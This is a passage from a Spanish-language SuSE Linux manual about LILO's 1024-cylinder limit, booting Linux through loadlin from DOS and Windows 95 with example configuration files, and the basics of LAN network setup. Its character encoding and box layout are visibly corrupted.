o Intento fallido de arrancar con LILO desde una partici≤n l≤gica.
4.8.2 El lφmite de 1024 cilindros
Como ya se ha mencionado varias veces (p. ej. en la pßgina 123┐D≤nde
se puede instalar LILO ?Hfootnote.17), toda la maquinaria de arranque de
LILO , o sea todos los datos que LILO necesita para arrancar, deben ser acce-
sibles usando solo las rutinas de la BIOS. Las zonas de disco aptas para ello
ya fueron mencionadas y se denominarßn de aquφ en adelante zona permitida.
┐Cußles son entonces las posibilidades que quedan con esta restricci≤n? En
realidad quedan muchas, ya que se trata solo de la maquinaria de arranque
que cae bajo esta restricci≤n y no hay ninguna obligaci≤n de ponerla en la
partici≤n raφz. Incluso existe la posibilidad (que conlleva un cierto peligro)
de albergar todos los ficheros del manejo de arranque en particiones de otros
sistemas operativos cuando solo Linux tiene acceso de lectura y escritura
sobre ellos.
________________________________________________________________________________________________________*
*________||
| íLo que no se puede hacer es instalar el sector de arranque de LILO sobre *
* ||||
| una partici≤n ajena, porque con esto generalmente se rompe el sistema de *
* |||
| *
* |||
| fichero del otro sistema operativo! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
o En todo caso la soluci≤n mßs limpia es la de generar una partici≤n pri-
maria de Linux completamente dentro de la zona permitida e instalar allφ
todos los ficheros de LILO (incluido el sector de arranque). Hasta ahora
esta partici≤n ha sido generalmente la partici≤n raφz de Linux.
Desde la versi≤n 6.0 de SuSE Linux, YaST genera una partici≤n (/boot)
aparte, que a penas tiene suficiente tama±o para albergar los siguientes
ficheros:
140
___________________________________________________________________________________________4.8.__Problemas_con_LILO_________*
*______________________
~ boot.b, map, message,
~ los kernel de Linux, que LILO debe arrancar.
Esto significa que unos pocos megabytes son suficientes. Para todo el
resto del sistema ya no hay ninguna restricci≤n respecto a su ubicaci≤n
en el (los) disco(s). Una vez que el kernel estΘ en marcha tiene acceso
ilimitado a todos los discos en el sistema.
┐Pero quΘ hacer cuando ya no hay espacio para una partici≤n asφ? Si no se
quiere reparticionar el disco, ni se quiere pasar a SCSI y tampoco a una BIOS
moderna, siguen existiendo dos posibilidades ''provisionales'':
o En lugar de instalar LILO en el disco duro se usa en un disquete o, si tiene
tambiΘn MS-DOS instalado, puede usar loadlin para arrancar Linux.
o Albergar toda la maquinaria de arranque de LILO en una partici≤n no~
Linux, que se encuentra completamente en la zona permitida y sobre
la cual Linux puede escribir (p. ej. una partici≤n con FAT/VFAT DOS).
Evidentemente no se puede poner allφ el sector de arranque de LILO .
Esto deja como posibilidades el comienzo de una partici≤n extendida
en el primer disco ~ si estß por delante del cilindro 1024 ~ o el MBR.
Supongamos que la partici≤n en cuesti≤n estß montada bajo /mnt. LILO
debe ponerse en el MBR (p. ej. /dev/hda) y ademßs arrancar DOS desde
/dev/hda1. En este caso hay que proceder de la siguiente manera:
~ Generar un directorio nuevo, p. ej. /mnt/LINUX y copiar los ficheros
mencionados de LILO desde /boot hacia allφ: boot.b, map,
message, tal como los chain-loader para los otros sistemas opera-
tivos que estΘn instalados (generalmente chain.b) y los kernel de
Linux, que LILO debe arrancar.
~ Generar un fichero /mnt/LINUX/lilo.cfg, en el que todos los path
apuntan a /mnt/LINUX (fichero 4.8.1 en la pßgina siguiente):
~ Instalar LILO con este lilo.cfg:
tierra: # /sbin/lilo -C /mnt/LINUX/lilo.cfg
DespuΘs de este procedimiento LILO deberφa funcionar. Arranque
MS-DOS y proteja los ficheros de LILO lo mejor que pueda contra ac-
cesos de escritura. (íOjo! Cualquier acceso de escritura y LILO dejarß
de funcionar.) Como mφnimo se activan los atributos de DOS sistema
y escondido (system and hidden) de todos los ficheros en X:\LINUX.
X: indica aquφ la unidad MS-DOS que se mont≤ bajo /mnt.
Para terminar queremos indicar dos HOWTOs al respecto: LILO.gz y
Large-Disk.gz y se encuentran en /usr/doc/howto/en/mini/.
4.8.3 Problemas especiales de arranque con el kernel a partir de 2.0
Arrancando LILO ~ igual si es desde una disquetera o desde el disco duro ~
pueden aparecer problemas despuΘs de haber cargado un kernel grande (p. ej.
el kernel de instalaci≤n de SuSE ) :-(
Aunque se puede elegir un kernel en el prompt de LILO y el kernel se carga
(se muestran algunos puntitos), el inicio del kernel no funciona. Esto quiere
*
* 141
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
| *
* |
________________________________________________________________________________________________________*
*________||||
| # LILO Fichero de configuraci≤n en directorio ajeno *
* |
||# Start LILO global Section *
* ||
| boot=/dev/hda # destino instalaci≤n *
* |
| backup=/mnt/LINUX/hda.xxxx # respaldo MBR antiguo *
* |
| install=/mnt/LINUX/boot.b # LILO y el fichero map *
* |
| *
* |
| map=/mnt/LINUX/map # estßn en /mnt/LINUX! *
* |
| message=/mnt/LINUX/message # opcional *
* |
| *
* |
| prompt *
* |
| timeout=100 # Espera en el prompt: 10 s *
* |
| vga = normal # *
* |
| *
* |
| # End LILO global section *
* |
| # *
* |
| *
* |
| # Linux bootable partition config begins *
* |
| image = /mnt/LINUX/Primer_Kernel # default *
* |
| *
* |
| root = /dev/Su_Dispositivo_Raφz # Partici≤n root de aquφ! *
* |
| label = linux *
* |
| *
* |
| # Linux bootable partition config ends *
* |
| # *
* |
| *
* |
| # Aquφ pßrrafos de sistema para los kernel adicionales: *
* |
| # *
* |
| # Fin Linux *
* |
| *
* |
| # DOS bootable partition config begins *
* |
| other = /dev/hda1 # Unidad de sistema de MSDOS *
* |
| *
* |
| label = dos *
* |
| loader = /mnt/LINUX/chain.b *
* |
| *
* |
| table = /dev/hda *
* |
| # DOS bootable partition config ends *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 4.8.1: lilo.cfg para partici≤n ajena
decir que el sistema se cuelga con diferentes reacciones antes de que aparezca
el mensaje "uncompressing Linux".
Posibles reacciones o mensajes:
o La computadora se inicia de nuevo.
o La computadora simplemente se para.
o "crc-error"
o "no free space"
o "Error 0x00"
o "Error 0x01"
o "incomplete literal tree"
DespuΘs de esto, en ocasiones aparece otro acceso a las disqueteras, pero la
computadora queda ''colgada''.
El motivo de ello es la combinaci≤n de un kernel grande, LILO y hardware
defectuoso. Haciendo una aproximaci≤n, alrededor del uno por ciento de las
computadoras reaccionan asφ. Sospechamos que por culpa de un error en la
BIOS hay problemas con un acceso rßpido a la memoria. ~ El problema no
ocurre cuando:
o Linux ha sido arrancado con Loadlin (apartado 4.9 en la pßgina siguiente),
142
________________________________________4.9.__Configuraci≤n_del_mecanismo_de_arranque_con_loadlin___________________________*
*______________________
o se copia un kernel p. ej. con
tierra: # dd if=/boot/vmlinuz of=/dev/fd0
a un disquete arrancßndolo directamente desde allφ,
o se arranca con LILO un kernel peque±o, que fue generado con
tierra: # make zImage
Con los siguientes ajustes de la BIOS tampoco hay problemas de arrancar:
o Deshabilitar la cache interna (disable )
o DRAM Precharge Wait State a 1 y
o DRAM Wait Burst Timing a 0x3333
Soluci≤n
En primer lugar es necesario poder instalar Linux de alguna forma. Si no se
puede arrancar directamente con loadlin (o con setup.exe ) lo mejor es usar
un disquete de arranque antiguo con versi≤n 1.2.13. Si no se dispone de Θl, se
han de cambiar los parßmetros de la BIOS.
DespuΘs de una instalaci≤n exitosa aparece la pregunta sobre c≤mo arrancar
su Linux. Primero arranque con el mismo medio de la instalaci≤n, ya que no
hay problemas con loadlin desde la partici≤n DOS. En caso de un disquete de
arranque, indique como parßmetros:
load_ramdisk=0 root=/dev/<partici≤n_raφz>
donde <partici≤n`raφz> es su partici≤n raφz, p. ej. hda1.
4.9 Configuraci≤n del mecanismo de arranque con loadlin
Aquφ se presenta un mΘtodo adicional de arrancar SuSE Linux, usando el
loadlin . Se trata de un programa DOS capaz de arrancar el kernel de Linux
que se encuentra en una particion DOS. loadlin se integra plenamente en un
entorno DOS/Windows 9x y se puede arrancar de manera confortable con el
gestor de arranque de Windows. Como no se graba nada en el + MBR lo ·nico
que Windows ve de Linux es una o varias particiones con identificadores
desconocidos (ingl. IDs). Asφ se minimiza el peligro de efectos colaterales
por la existencia de Linux en la computadora.
El procedimiento que aquφ se explica, funciona bajo Windows 95 y Win-
dows 98 y los ficheros de configuraci≤n que se muestran fueron desarrolla-
dos bajo Windows 95, por lo que a partir de ahora solo se menciona a Win-
dows 95.
Usando loadlin hacen falta algunos preparativos y seg·n las condiciones hay
que modificar tambiΘn algunos ficheros de arranque.
En principio hay dos maneras distintas de activar loadlin : Elegirlo en el
momento de arrancar a travΘs del men· de arranque de Windows o iniciarlo
desde DOS/Windows y de este modo cambiar a Linux.
Ambos mΘtodos tienen sus ventajas y desventajas:
o El men· de arranque evita el desvφo por otro sistema operativo para arran-
car Linux.
*
* 143
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
o Es posible incorporar en un men· de arranque configuraciones adicionales
y asφ construir un mecanismo de arranque universal.
o Es necesario modificar los ficheros de arranque para construir un men·
de arranque y tal vez haga falta probar un poco. Los ficheros de ayuda de
DOS probablemente pueden ayudar; pruebe con el comando help menu .
o En el prompt de DOS el cambio hacia a Linux es muy simple.
o Bajo Windows 95 se puede hacer la bonita integraci≤n del arranque de
Linux en el entorno grßfico lo que permite cambiar a Linux con un doble-
click del mouse sobre un icono. No obstante, se puede montar tambiΘn
bajo Windows 95 un men· de arranque ya que Θste contiene DOS 7.0.
________________________________________________________________________________________________________*
*________||
| Si se quiere arrancar Linux directamente despuΘs de encender la computa- *
* ||||
| *
* |||
| dora, lo mejor es usar un men· de arranque. El mΘtodo de arrancar desde *
* |||
| el prompt de DOS o con el doble-click del mouse se puede usar adicional- *
* |||
| *
* |||
| mente para cambiar de DOS/Windows directamente a Linux. *
* |||
| Los men·s de arranque y la configuraci≤n de Windows 95 tienen muchas *
* |||
| *
* |||
| facetas, asφ que no entraremos en muchos detalles al respecto. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
4.9.1 Ficheros necesarios para loadlin
Lo siguiente hay que hacerlo siempre independientemente de la manera de
arrancar con loadlin (vßlido para DOS, Windows 3.x y Windows 95):
1. Lo mßs probable es que ya estΘ loadlin instalado (ver apartado 2.5.4 en
la pßgina 54Instalar loadlin y arrancar Linux originariosubsection.2.5.4).
Sino, hace falta instalarlo primero desde el CD 1 con setup .
2. Bajo MS-DOS se cambia al directorio c:\loadlin . Allφ hay un fichero
llamado linux.par . En este mismo directorio se genera un fichero, p. ej.
startlin.bat o con el nombre que parezca oportuno. Este fichero debe
contener una lφnea como la del fichero 4.9.1.
________________________________________________________________________________________________________*
*________
| c:\loadlin\loadlin @c:\loadlin\linux.par *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 4.9.1: Ejemplo de un fichero por lotes para arrancar Linux
Ahora se escriben en el fichero linux.par las siguientes lφneas como se
indica en el fichero 4.9.2.
________________________________________________________________________________________________________*
*________||
| c:\loadlin\zimage # first value must be *
* |
| # the filename of the Linux-kernel *
* |
| *
* |
| *
* |
| initrd=c:\loadlin\initrd *
* |
| *
* |
| *
* |
| root=/dev/xxx # the device which gets mounted as root FS *
* |
| *
* |
| *
* |
| ro # mount root read-only *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 4.9.2: Ejemplo de un fichero de parßmetros para el arranque de Linux
144
________________________________________4.9.__Configuraci≤n_del_mecanismo_de_arranque_con_loadlin___________________________*
*______________________
xxx es el nombre de dispositivo de su partici≤n raφz (debe haberse apun-
tado este nombre seg·n el apartado 2.10.2 en la pßgina 79Fijar sistemas
de fichero y ''Mountpoints''subsection.2.10.2. La entrada con initrd so-
lo se necesita cuando hace falta cargar el soporte SCSI directamente en
el momento de arrancar (sobre el concepto del ''initial ramdisk'' vΘase el
apartado 16.2 en la pßgina 411Situaci≤n de arranquesection.16.2). Con
el fichero startlin.bat se puede arrancar Linux en cualquier mo-
mento desde DOS. Los ficheros startlin.bat y config.sys usan
linux.par, el cual contiene todos los parßmetros necesarios para arran-
car Linux. Es posible introducir o reemplazar parßmetros de arranque
en linux.par una vez acostumbrados a trabajar con Linux. Cuando se
haya construido un kernel propio, se copia del sistema de ficheros Linux
a c:\loadlin\zimage y a partir de entonces se trabaja con este nuevo
kernel; en caso que haga falta, tambiΘn debe guardar allφ un disco initrd
generado nuevamente.
4.9.2 Personalizar men·s de arranque
Para personalizar un men· de arranque bajo DOS o Windows 3.x se hace lo
siguiente:
1. Primero hay que definir en el fichero c:\config.sys un men· de
arranque. Para ello se introduce algo parecido a lo indicado en el
fichero 4.9.3.
_______________________________________________________________________________________________________________________||
|||||||| [Menu] |
|||||||| menuitem=Win, Arrancar Windows... |
|||||||| |
|||||||| menuitem=DOS, Arrancar MS-DOS... |
|||||||| menuitem=Linux, Arrancar Linux... |
|||||||| |
|||||||| menucolor=15,1 |
|||||||| menudefault=Win,5 |
||||||||_______________________________________________________________________________________________________________ |
Fichero 4.9.3: Ejemplo para config.sys (1a parte) para arrancar Linux
Bajo el r≤tulo [Menu] se definen las opciones del men·, su color y el
tiempo de espera (segundos) antes del arranque de la opci≤n por defecto.
2. A continuaci≤n se escriben los r≤tulos [Common], [Win], [DOS] y [Lin-
ux]. Bajo Common se anotan los comandos vßlidos para todas las op-
ciones y bajo el r≤tulo de cada opci≤n se anotan solo los comando vßlidos
para dicha opci≤n. Para ello se usan las lφneas que se encuentran en el
config.sys actual; un ejemplo se muestra en el fichero 4.9.4 en la pßgi-
na siguiente.
Ahora se guarda el fichero.
3. A continuaci≤n, abrir el fichero c:\autoexec.bat . En este fichero se
deben apuntar los mismos r≤tulos y asignarles comandos pero con una
sintaxis un poco diferente. El r≤tulo elegido en el men· de arranque estß
en la variable %config%. Se puede escribir, por ejemplo, algo como lo
indicado en el fichero 4.9.5 en la pßgina siguiente.
4. Arrancando ahora la computadora aparece un men· de arranque, el cual
da 5 segundos de tiempo para elegir una opci≤n; despuΘs de este tiem-
*
* 145
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
| *
* |
________________________________________________________________________________________________________*
*________||||
| [Common] *
* |
||device=c:\dos\himem.sys /testmem:off *
* ||
| device=c:\dos\emm386.exe noems *
* |
| dos=high,umb *
* |
| *
* |
| files=30 *
* |
| buffers=10 *
* |
| shell=c:\dos\command.com *
* |
| *
* |
| *
* |
| [Win] *
* |
| *
* |
| devicehigh=c:\dos\dblspace.sys /move *
* |
| devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C *
* |
| *
* |
| *
* |
| [DOS] *
* |
| *
* |
| devicehigh=c:\dos\dblspace.sys /move *
* |
| devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C *
* |
| *
* |
| *
* |
| [Linux] *
* |
| shell=c:\loadlin\loadlin.exe @c:\loadlin\linux.par *
* |
| *
* |
| *
* |
| [Common] *
* |
| *
* |
| rem Queda vacφo *
* |
|_______________________________________________________________________________________________________*
*________|||
Fichero|4.9.4: Ejemplo de config.sys (2a parte) para el arranque de Linux *
* |
________________________________________________________________________________________________________*
*________||||
| @echo off *
* |
| *
* |
| *
* |
| rem Comandos para todas las configuraciones *
* |
| switches= /f *
* |
| *
* |
| set comspec=c:\dos\command.com *
* |
| prompt $p$g *
* |
| *
* |
| loadhigh c:\dos\keyb gr,,c:\dos\keyboard.sys *
* |
| loadhigh c:\dos\doskey *
* |
| *
* |
| set temp=c:\temp *
* |
| loadhigh c:\dos\mscdex.exe /D:SONY_000 /E /V /L:H *
* |
| c:\logimouse\mouse.exe *
* |
| *
* |
| *
* |
| goto %config% *
* |
| *
* |
| *
* |
| :Win *
* |
| *
* |
| c:\dos\smartdrv.exe a- b- c+ 2048 1024 *
* |
| path c:\windows;c:\dos;c:\util; *
* |
| *
* |
| win *
* |
| c:\dos\smartdrv /C *
* |
| *
* |
| goto fin *
* |
| *
* |
| :DOS *
* |
| *
* |
| path c:\dos;c:\util; *
* |
| goto fin *
* |
| *
* |
| *
* |
| :fin *
* |
| *
* |
| echo * íHasta la vista! * *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 4.9.5: Ejemplo de autoexec.bat para el arranque de Linux
146
________________________________________4.9.__Configuraci≤n_del_mecanismo_de_arranque_con_loadlin___________________________*
*______________________
po, Windows arranca automßticamente. Si se selecciona `Linux', Θste
arranca y espera que se haga el login.
4.9.3 Iniciar Linux desde Windows
Aquφ se explica c≤mo activar y configurar un icono para Linux, que permite
arrancarlo desde el sistema Windows 95 que estΘ en marcha:
1. Entrar a la carpeta c:\loadlin , marcar el fichero startlin.bat y se-
leccionar en el men· de ''Edici≤n'' `Copiar'.
2. Ir a una carpeta o al escritorio seg·n donde se quiera tener el icono de
acceso a Linux. Pulsar el bot≤n derecho del mouse y seleccionar `Pegar
acceso directo'.
3. Marcar el acceso directo reciΘn creado y pulsar el bot≤n derecho del
mouse. Seleccionar `Propiedades'. Entrar en la ficha `Programa'
y pulsar sobre el bot≤n `Avanzada...'. Marcar la casilla `Modo MS-
DOS' y confirmar con `Aceptar'.
4. Con el bot≤n `Cambiar icono...' se puede elegir un icono diferente
y finalmente dar un nombre adecuado al acceso directo. íListo!
5. Un doble-click sobre el sφmbolo muestra una pantalla de advertencia in-
dicando que Windows 95 estß por entrar en el modo MS-DOS. Si no se
quiere ver la advertencia, se desactiva en las propiedades del acceso di-
recto.
4.9.4 El men· de arranque de Windows
Asφ se ajusta el men· de arranque de Windows 95:
1. Primero hay que editar el fichero c:\msdos.sys . Para ello hay que hacer
el fichero visible con:
C:> attrib -R -S -H c:\msdos.sys
Es un fichero de texto en el cual hay que a±adir un par de lφneas para
activar el men· de inicio propio de Windows 95. Lo que se encuentra bajo
la etiqueta [Options] deberφa parecerse a lo indicado en el fichero 4.9.6.
_______________________________________________________________________________________________________________________||
|||||||| [Options] |
|||||||| BootGUI=0 |
|||||||| |
|||||||| BootDelay=0 |
|||||||| BootMenu=0 |
|||||||| |
|||||||| Logo=0 |
||||||||_______________________________________________________________________________________________________________ |
Fichero 4.9.6: msdos.sys para el arranque de Linux
El parßmetro Logo=0 es opcional y evita que Windows 95 entre al modo
grßfico antes de arrancar. Arrancar asφ es mßs rßpido y ademßs se tiene
menos problemas si se usa mßs tarde el emulador de DOS.
El parßmetro BootGUI=0 hace, que Windows 95 arranque directamente
en modo MS-DOS. Una vez editado el fichero se pone a sus atributos los
valores originales. Para arrancar ahora Windows hay que introducir en el
prompt de DOS:
*
* 147
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
C:> win
Nuestro fichero de ejemplo c:\autoexec.bat ya lo hace si se ha elegido
Win95 en el men·.
2. Ahora se debe definir en el fichero c:\config.sys el propio men· de
arranque. Para ello se introduce al comienzo del fichero, por ejemplo el
contenido del fichero 4.9.7.
________________________________________________________________________________________________________*
*________||
| [Menu] *
* |
| menuitem=Win95, Arrancar Windows 95... *
* |
| *
* |
| menuitem=DOS, Arrancar MS-DOS... *
* |
| menuitem=Linux, Arrancar Linux... *
* |
| *
* |
| menudefault=Win95,5 *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 4.9.7: Ejemplo de config.sys (1a parte) para el arranque de Linux
bajo Windows 95
Las opciones del men· de arranque se definen bajo el r≤tulo [Menu] tal
como los segundos de espera y la opci≤n por defecto.
3. Mßs abajo estarßn los r≤tulos [Win95] , [DOS] , [Linux] y [Common] .
Bajo [Common] se apuntan los comandos que deben valer siempre (no
deberφan ser muchos para Windows 95) y bajo cada distinto r≤tulo se
anotan los que solo valen para la opci≤n en concreto. Para esto se usan
las lφneas que se encuentran en el config.sys actual; el ejemplo del
| fichero 4.9.8 puede servir como idea inicial. *
* |
________________________________________________________________________________________________________*
*________||||
| [Win95] *
* |
| dos=high,umb *
* |
| *
* |
| device=c:\windows\himem.sys /testmem:off *
* |
| *
* |
| [DOS] *
* |
| *
* |
| device=c:\plugplay\drivers\dos\dwcfgmg.sys *
* |
| dos=high,umb *
* |
| *
* |
| device=c:\windows\himem.sys /testmem:off *
* |
| device=c:\windows\emm386.exe noems I=B000-B7FF *
* |
| *
* |
| devicehigh=c:\cdrom\torisan.sys /D:TSYCD3 /P:SM *
* |
| *
* |
| *
* |
| [Linux] *
* |
| shell=c:\loadlin\loadlin.exe @c:\loadlin\linux.par *
* |
| *
* |
| *
* |
| [Common] *
* |
| accdate=C+ D+ H+ *
* |
| *
* |
| switches= /F buffers=20 *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 4.9.8: Ejemplo de config.sys (2a parte) para el arranque de Linux
bajo Windows 95
Ahora se guarda el fichero.
4. A continuaci≤n, abrir el fichero c:\autoexec.bat . En Θste se deben
apuntar los mismos r≤tulos y asignar comandos pero con una sintaxis
un poco diferente. El r≤tulo elegido en el men· de arranque estß en la
148
________________________________________4.9.__Configuraci≤n_del_mecanismo_de_arranque_con_loadlin___________________________*
*______________________
variable %config%. Se puede escribir, por ejemplo, algo como lo indicado
en|el|fichero|4.9.9. |
_______________________________________________________________________________________________________________________||||
|||||||| @echo off |
|||||||| loadhigh keyb gr,,c:\windows\command\keyboard.sys |
|||||||| goto %config% |
|||||||| |
|||||||| |
|||||||| :Win95 |
|||||||| |
|||||||| win |
|||||||| goto fin |
|||||||| |
|||||||| |
|||||||| :DOS |
|||||||| |
|||||||| path c:.;d:.;c:\windows\command;c:\util; |
|||||||| loadhigh c:\windows\command\mscdex.exe /D:TSYCD3 /L:x |
|||||||| loadhigh c:\windows\command\doskey |
|||||||| |
|||||||| c:\windows\command\mouse.exe |
|||||||| goto fin |
|||||||| |
|||||||| |
|||||||| :fin |
|||||||| |
|||||||| echo * ┐Y ahora quΘ? * |
||||||||_______________________________________________________________________________________________________________ |
Fichero 4.9.9: Ejemplo de autoexec.bat para el arranque de Linux bajo
Windows 95
5. Arrancando ahora la computadora aparece el propio men· de arranque y
se tiene 5 segundos de tiempo para elegir una opci≤n. DespuΘs de este
lapso de tiempo Windows 95 arranca automßticamente. Si se selecciona
`Linux', Θste arranca y espera que se haga el login.
*
* 149
4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
*_______________________________________@
150
Parte III
Configuraci≤n de red
151
Capφtulo 5
Linux en la red
Conexiones de red: Una visi≤n global
En la Θpoca actual de las telecomunicaciones, la cantidad de computadoras
conectadas vφa red es tan grande que ya casi no se encuentran mßquinas
que no estΘn conectadas a una red ~ como mφnimo temporalmente. Linux,
que naci≤ en + Internet solventa todas las necesidades y ofrece todas las
herramientas necesarias para incorporarse en distintos entornos de red.
Este capφtulo resume los pasos necesarios para crear y mantener una conexi≤n
de red; se presentan los ficheros de configuraci≤n centrales y algunas de las
herramientas de mantenimiento mßs importantes.
Primero se explica c≤mo instalar, una computadora con Linux, en una red de
ßrea local (ingl. + LAN) y c≤mo se construye una peque±a + Red formada por
computadoras Linux, continuando con la conexi≤n vφa modem. Este apartado
trata especialmente sobre el enlace con Internet sirviΘndose del protocolo
PPP; ademßs, hay explicaciones extensas sobre la configuraci≤n de un acceso
RDSI. Para terminar, se expone brevemente la configuraci≤n de los sistemas
de correo y de noticias y se presenta un sistema de envφo de Fax bajo Linux.
YaST sirve para casi toda la configuraci≤n de cualquier red (ver apartado 3.7
en la pßgina 102Administraci≤n del sistemasection.3.7 y apartado 17.6
en la pßgina 437Las variables en /etc/rc.config ~ Configuraci≤n de
sistemasection.17.6). No obstante tambiΘn se explican en este capφtulo los
mecanismos bßsicos de configuraci≤n y se indican los ficheros necesarios, ya
que una red puede ser de una complejidad casi infinita.
Conexiones en una red de ßrea local (LAN)
No es algo complicado incorporar una computadora de Linux en una red de
ßrea local (LAN) formada por otras computadoras con Unix o Linux. Hay
algunos pocos requisitos a cumplir pero estos no imponen ninguna restricci≤n
especial sobre el uso de Linux en redes.
Requisitos, Preparativos
Linux soporta ya una gran cantidad de tarjetas de red ~ Ethernet, Arcnet,
algunas tarjetas TokenRing ~ y ademßs, conoce casi todos los protocolos de
red de mayor difusi≤n como TCP/IP, IPX y AppleTalk. El ßmbito de este
capitulo no permite, ni de cerca, cubrir todas las configuraciones posibles. Es
*
* 153
5. Linux en la red________________________________________________________________________________________________________________*
*_______________________________________@
por eso que se discute solamente el caso normal, que es el de la instalaci≤n
de una computadora Linux con tarjeta Ethernet en una red con protocolo
TCP/IP. Hay informaci≤n actualizada sobre la configuraci≤n de otras redes
p. ej. en /usr/src/linux/Documentation junto con las fuentes de kernel.
La ayuda en el programa de configuraci≤n del kernel es otra buena fuente de
informaci≤n.
Se tienen que cumplir los siguientes requisitos:
o La tarjeta red de la computadora debe ser soportada y Linux la reconoce
bien si el resultado del comando:
tierra:~ # /sbin/ifconfig
contiene una lφnea que comienza con eth0: .
________________________________________________________________________________________________________*
*________||
| Si se realiza el soporte de la tarjeta red con un m≤dulo de kernel ~ caso *
* ||||
| *
* |||
| por omisi≤n del kernel de SuSE ~ el nombre del m≤dulo tiene que figurar *
* |||
| *
* |||
| como alias en /etc/modules.conf. Para la primera tarjeta Ethernet serφa *
* |||
| entonces: *
* |||
| *
* |||
| alias eth0 tulip *
* |||
| Esto se hace automßticamente, cargando durante la primera instalaci≤n en *
* |||
| *
* |||
| Linuxrc el driver para la tarjeta red. Se puede hacer lo mismo posterior- *
* |||
| *
* |||
| mente desde YaST (ver apartado 3.7.1 en la pßgina 102Instalar hardware *
* |||
| en el sistemasubsection.3.7.1). *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Cumpliendo los requisitos mencionados, lo ·nico que queda antes de con-
figurar la red es echar un vistazo a los tΘrminos de la tabla 5.1 en la pßgi-
na 156Requisitos, Preparativostable.5.1.
_______________________________________________________________________________________________________*
*_________
Nombre de computa- El nombre que la computadora debe tener en la
dora red, p. ej. tierra . El nombre no debe tener mßs
que ocho caracteres y no debe estar asignado a
ninguna computadora en la red local.
Nombre de dominio El nombre de dominio al cual pertenecerß la
computadora. Los dominios sirven para la clasi-
ficaci≤n de las redes. Se accede a una computa-
dora mediante un nombre de dominio totalmente
cualificado (ingl. fully qualified domain name
(FQDN)) que se constituye por el nombre de
la mßquina, el del dominio y el del dominio de
primer nivel. Asφ p. ej. tierra.cosmos.univ
es la computadora tierra en el dominio
cosmos.univ . El dominio de primer nivel no
puede estar formado por mßs de cuatro letras. La
plantilla para un nombre de computadora total-
mente cualificado es Nombre_Computadora.
Nombre_Dominio.Dominio_Primer_Nivel.
_______________________________________________________________________________________________________*
*_________
Tabla 5.1: Contin·a en la pßgina siguiente ...
154
_______________________________________________________________________________________________________5.__Linux_en_la_red_____*
*___________________
______________________________________________________________________________________________________________________
Direcci≤n IP La direcci≤n de la computadora en la red. Cada
ordenador tiene para cada interfaz de red (p. ej.
una tarjeta Ethernet o RDSI) por lo menos una
direcci≤n ·nica en toda la red. Seg·n el es-
tßndar vigente, esta direcci≤n se compone de
una secuencia de cuatro bytes que se apun-
tan generalmente separados por puntos (p. ej.
192.168.0.20 ).
Al asignar las direcciones IP se deberφa contem-
plar un posible enlace posterior con Internet. Si
este enlace estß planeado, se recomienda usar
desde un principio direcciones registradas.
En la norma RFC 1597 hay tres intervalos de
direcciones previstas para el uso privado, que
no pueden provocar problemas en caso de una
conexi≤n accidental a Internet, porque se trata
de direcciones cuyos datos no se ''rutean'' (no se
transfieren) entre las diferentes computadoras en
Internet. Los intervalos de direcciones son:
10.0.0.0 ) 10.255.255.255 (Red de clase A)
172.16.0.0 ) 172.31.255.255 (Red de clase B)
192.168.0.0 ) 192.168.255.255 (Red de clase C)
Hay algunas direcciones IP que no estßn pre-
vistas para computadoras, ya que cumplen fun-
ciones especiales. Por ejemplo, la direcci≤n
192.168.0.0 estß reservada para la red misma
y 192.168.0.255 es la direcci≤n correspondi-
ente de Broadcast (direcci≤n de difusi≤n).
Direcci≤n de gateway La direcci≤n del ''Gateway'' en la red. El Gate-
way es una computadora que se encuentra dentro
de mßs de una red y que se encarga de traspasar
paquetes de informaci≤n de una red a la otra.
Mßscara de red La mßscara de red (ingl. netmask) determina en
cußl red se encuentra una cierta direcci≤n. La
direcci≤n IP de la computadora se relaciona por
un AND l≤gico con la mßscara de red, por lo
tanto ''tapa'' la parte de la direcci≤n que corre-
sponde al host , asφ que solo queda la direcci≤n
de la red. Una mßscara de red muy tφpica es
255.255.255.0 .
______________________________________________________________________________________________________________________
Tabla 5.1: Contin·a en la pßgina siguiente ...
*
*155
5. Linux en la red________________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
Direcci≤n del servi- El servidor de nombres (DNS, DomainName-
dor de nombres Service) ofrece el servicio de conversi≤n de
nombres de computadoras en direcciones IP.
Asφ se asigna p. ej. a tierra la direcci≤n IP
192.168.0.20 . Si hay acceso a un servidor
de nombres a travΘs de la red, es necesario in-
dicar su direcci≤n IP durante la configuraci≤n de
la red.
_______________________________________________________________________________________________________*
*_________
Tabla 5.1: Variables para la configuraci≤n de red
5.1 Configuraci≤n con YaST
Con la informaci≤n suministrada anteriormente no deberφan presentarse prob-
lemas al configurar la red con YaST . Tenga en cuenta lo que se ha mencionado
en el apartado 5 en la pßgina 153Requisitos, Preparativoschapter.5.
1. Entre al sistema como usuario `root'.
2. Inicie YaST y entre al men· `Administraci≤n del sistema', `Con-
figuraci≤n de red', `Configuraci≤n bßsica de red'.
Figura 5.1: Configuraci≤n de red con YaST
3. Seleccione un `N·mero' libre, p. ej. 0 .
4. Pulse |____|F5para seleccionar `Ethernet' como dispositivo, y salga del
cuadro de dißlogo seleccionando `Continuar'.
5. Pulse |F____|6(`IP'), e introduzca la direcci≤n IP de la computadora, p. ej.
192.168.0.20 . A continuaci≤n es preciso indicar la mßscara de red.
Esta es tφpicamente 255.255.255.0 para una sub-red de la clase C, que
contiene hasta 254 computadoras. Si no existe ninguna computadora en
la red que funcione como Gateway, no se debe indicar nada aquφ; vΘase la
figura 5.1.
156
